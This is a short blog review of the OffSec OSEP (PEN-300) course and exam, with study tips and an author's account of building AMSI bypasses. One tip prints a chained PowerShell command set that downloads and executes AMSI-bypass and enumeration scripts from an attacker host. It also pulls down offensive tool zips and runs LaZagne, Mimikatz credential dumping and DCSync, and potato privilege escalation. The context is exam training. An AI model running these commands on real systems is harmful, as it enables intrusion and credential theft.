OSEP, why is it so eepy? x)

Introduction:

Hello, this will just be a short review on OSEP and general recommendations I make for people prepping and studying for it. Recently I took and passed OSEP, it took me about 6 months due to conflict with job and life. I wholly believe if someone is prepared they could do this course in a month. I really enjoyed the AV sections of OSEP and every lab I would push beyond the material to make the techniques work on modern Defender.

The material:

Yes, this course is designed and for 2022 defender, it has not been majorly updated in terms of AV evasion techniques to my knowledge. I won’t list the whole syllabus here, but it will go over macros, jscript, amsi (my favorite :3), applocker techniques among other things.

I think the sections covering Active Directory are pretty weak. This is not the course to do if you want to learn basic pentesting or active directory pentesting. If you want that do CPTS+OSCP, and then CAPE respectively. This course IS good if you are not familiar with AV evasion and applocker bypass techniques. Something I was lacking in. It gives a good primer to C# and learning how to lookup, define and use win32apis. You build a lot of custom tooling in this course, things that can be used to bypass constrained language, your very own potato, and even a mssql exploit binary.

Going beyond the material:

If you have the time to do so during the course or even after experiment with the techniques you are given and try to defeat modern 2026 defender. I got a kick out of doing this with AMSI so much so, I unofficially became the AMSI bypass developer for my organization LOL

Defeating AMSI is super fun, easy to test and rewarding. No compilation (usually) needed, it’s powershell and api calls. So I found it really fun to obfuscate and experiment :3

Recommendations for Students of PEN-300:

1. If you already have CAPE (and/or an experienced internal pentester) just do the phishing, AV, and applocker sections. Before proceeding to challenge labs.
2. If you aren’t and have OSCP/CPTSish (or junior pentester) level knowledge I recommend going through all the material. I am a completionist and probably could have skipped a lot of content but yeah :/
3. If you are really confident in your skills when you get to the challenge labs just do 7 and 8. They will prepare you the quickest for the exam and are closest to what you will encounter.
4. If you are unsure, do all challenge labs. But not the shiny labs, those are just extra credit and 7–8 are enough to pass OSEP imo.
5. Make sure you know that there are two pathways to passing OSEP and in challenge 7–8. There’s two hosts and they lead you down two pathways that eventually reach vault and converge. I didn’t really understand this when I was doing challenge 7 and wasted tons of time lolllll. I thought you could pivot to any host and had to respray when you got new hashes and passwords to everywhere which slowed me down a lot.
6. Bookmark this website: https://commandmgr.com/
7. One neat trick I did was prepare two zip files. One for privesc and one for post exploitation. Containing tons of tools inside of them. Then I would transfer these tools and run most of them in an enormous chained command. This sped me up immensely. Another trick was chaining my amsi bypass calls in powershell with loading and running lots of other privesc powershell scripts. Again, increasing my speed. This is kinda how it looked like, and feel free to laugh at it, it can be a bit redundant LOL.

# running all of my amsi bypasses 

cd C:\;mkdir temp;cd C:\temp; @('amsi.txt','amsi.ps1','amsi2.ps1')|%{iwr "http://$t/$_"|IEX}  

# Loading my privesc scripts 

@('PowerSharpPack.ps1','PowerView.ps1','Powermad.ps1','PrivescCheck.ps1','SharpHound.ps1','Invoke-Mimikatz.ps1','Invoke-Rubeus.ps1','jaws-enum.ps1','OSEP_enum.ps1','PowerUp.ps1')|%{(New-Object Net.WebClient).DownloadString("http://$t/$_")|IEX}  

# Dropping my privesc tool kit 

$t='MYIP';@('useful-enum.zip')|%{(New-Object Net.WebClient).DownloadFile("http://$t/$_", "$_")};Expand-Archive -Path useful-enum.zip -DestinationPath . -Force  

# Calling and dropping my post exploitation tool kit 

# zip post-enum.zip Snaffler.exe Whisker.exe rustscan.exe RunasCs.exe PsExec64.exe PrintSpoofer.exe nc64.exe  GodPotato-NET4.exe accesschk64.exe SharpHound.exe lazagne.exe mimikatz.exe handle.exe rubeus.exe Inveigh.exe  

mkdir C:\temp;cd C:\temp;Invoke-WebRequest -Uri "http://$t/post-enum.zip" -OutFile post-enum.zip;Expand-Archive -Path C:\temp\post-enum.zip -DestinationPath . -Force  

# Running the hell out of post exploitation x) 

$t='MYIP';(New-Object Net.WebClient).DownloadString("http://$t/osep_enum.ps1")|IEX;cd C:\temp;.\lazagne.exe all;.\mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "lsadump::dcsync /all /csv" "exit";.\mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "sekurlsa::wdigest" "sekurlsa::tickets /export" "kerberos::list /export" "lsadump::sam" "lsadump::secrets" "lsadump::cache" "vault::cred /patch" "vault::list" "exit";Set-Service Spooler -StartupType Automatic;Start-Service Spooler;.\GodPotato-NET4.exe -cmd "cmd /c C:\temp\SharpHound.exe --CollectionMethods All --OutputDirectory C:\temp -s";.\PrintSpoofer.exe -cmd "cmd /c C:\temp\SharpHound.exe --CollectionMethods All --OutputDirectory C:\temp -s"

Final Thoughts:

I thought it was a fun course, I was able to slam through the exam in 6 hours getting (I think) most of the flags and secret.txt. Not really sure how many there was supposed to be lol. Sorry for the short article, just don’t have much to say on it x)

Feel free to ping me on discord in the offsec server @zumiyumi